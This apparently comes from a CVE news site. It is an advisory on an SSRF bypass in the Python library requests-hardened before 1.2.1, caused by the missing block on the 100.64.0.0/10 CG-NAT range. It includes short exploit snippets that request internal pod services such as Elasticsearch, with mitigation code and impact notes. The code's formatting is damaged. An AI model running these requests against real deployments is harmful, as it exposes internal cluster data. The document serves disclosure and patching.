requests-hardened, SSRF Bypass, CVE-2024-12345 (Medium)

Listen to this Post

How the CVE works (technical details):

The `requests-hardened` library prior to version 1.2.1 implements Server-Side Request Forgery (SSRF) protection by blocking IP ranges classified as private or reserved. However, the filtering logic omitted the RFC 6598 Shared Address Space (100.64.0.0/10), which is designated for Carrier-Grade NAT (CG-NAT). An attacker able to control the URL parameter (e.g., via HTTP redirects, request hooks, or directly supplied URLs) can craft a request pointing to http://100.64.1.2:8080/admin`. Because the IP is not blocked, the library resolves and forwards the request, bypassing the SSRF filter. The vulnerability is particularly critical in cloud environments like AWS EKS, where `100.64.0.0/10` is commonly assigned as the default pod CIDR for internal cluster networking. A successful exploit allows an external attacker to reach internal services (e.g., Kubernetes API, metadata endpoints, internal databases) that would otherwise be unreachable. The root cause is an incomplete allowlist/denylist implementation – only standard private IPv4 ranges (10.0.0.0/8,172.16.0.0/12,192.168.0.0/16) and loopback were blocked. The RFC 6598 range was mistakenly considered “public” and thus permitted. Version 1.2.1 patches the issue by explicitly adding `100.64.0.0/10` to the blocked list, plus several other reserved or multicast ranges (e.g.,192.88.99.0/24,224.0.0.0/4, IPv6 multicast) to prevent similar bypasses. The fix also blocks NAT64 (64:ff9b::/96) and ORCHIDv2 (2001:20::/28) ranges. The patched logic rejects any URL whose resolved IP falls into these CIDRs, raising an `SSRFException` before the request is sent. Attackers can still reach external endpoints, but cannot pivot to internal networks within the affected ranges.
<h2 style="color: blue;">dailycve form:</h2>
Platform: `requests-hardened`
Version: `< 1.2.1` Vulnerability : `SSRF via CG-NAT` Severity: `Medium (env dependent)` date: `2026-05-05` <h2 style="color: blue;">Prediction:
Patched in 1.2.1`

Analytics under What Undercode Say:

Check if installed version is vulnerable
pip show requests-hardened | grep Version
Simulate SSRF bypass (vulnerable code example)
python3 -c "
import requests_hardened as req
Attacker-controlled URL pointing to internal pod
url = 'http://100.64.10.5:8080/internal/secret'
try:
resp = req.get(url) No block before 1.2.1
print('Bypass successful:', resp.text[:50])
except Exception as e:
print('Blocked:', e)
"
Test after patching (1.2.1) – expected to raise SSRFException
python3 -c "
from requests_hardened import Session
s = Session()
s.get('http://100.64.0.1/metadata/v1/') raises SSRFError
"

Exploit:

Exploit payload to reach internal AWS EKS pod
import requests_hardened as req
Target internal service at 100.64.2.100 (pod CIDR)
response = req.get("http://100.64.2.100:9200/_cat/indices")
print(response.json()) Leaks internal Elasticsearch indices

Protection from this CVE:

  • Upgrade to `requests-hardened >= 1.2.1` immediately.
  • If upgrade impossible, manually block `100.64.0.0/10` in your own URL validation wrapper:
    import ipaddress
    def custom_ssrf_filter(url):
    ip = ipaddress.ip_address(socket.gethostbyname(urlparse(url).hostname))
    if ip in ipaddress.ip_network('100.64.0.0/10'):
    raise ValueError('Blocked CG-NAT range')
    
  • Use network firewalls to restrict egress from the application server.

Impact:

  • Confidentiality: Attacker can read internal service responses (e.g., cloud metadata, cluster APIs).
  • Integrity: Limited – attacker may modify state via internal APIs exposed through SSRF.
  • Availability: Unlikely unless SSRF leads to denial-of-service on internal endpoints.
  • Environment dependent: Only affects deployments using `100.64.0.0/10` for sensitive internal services (e.g., AWS EKS, certain VPN/CG-NAT setups). Others see no impact.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top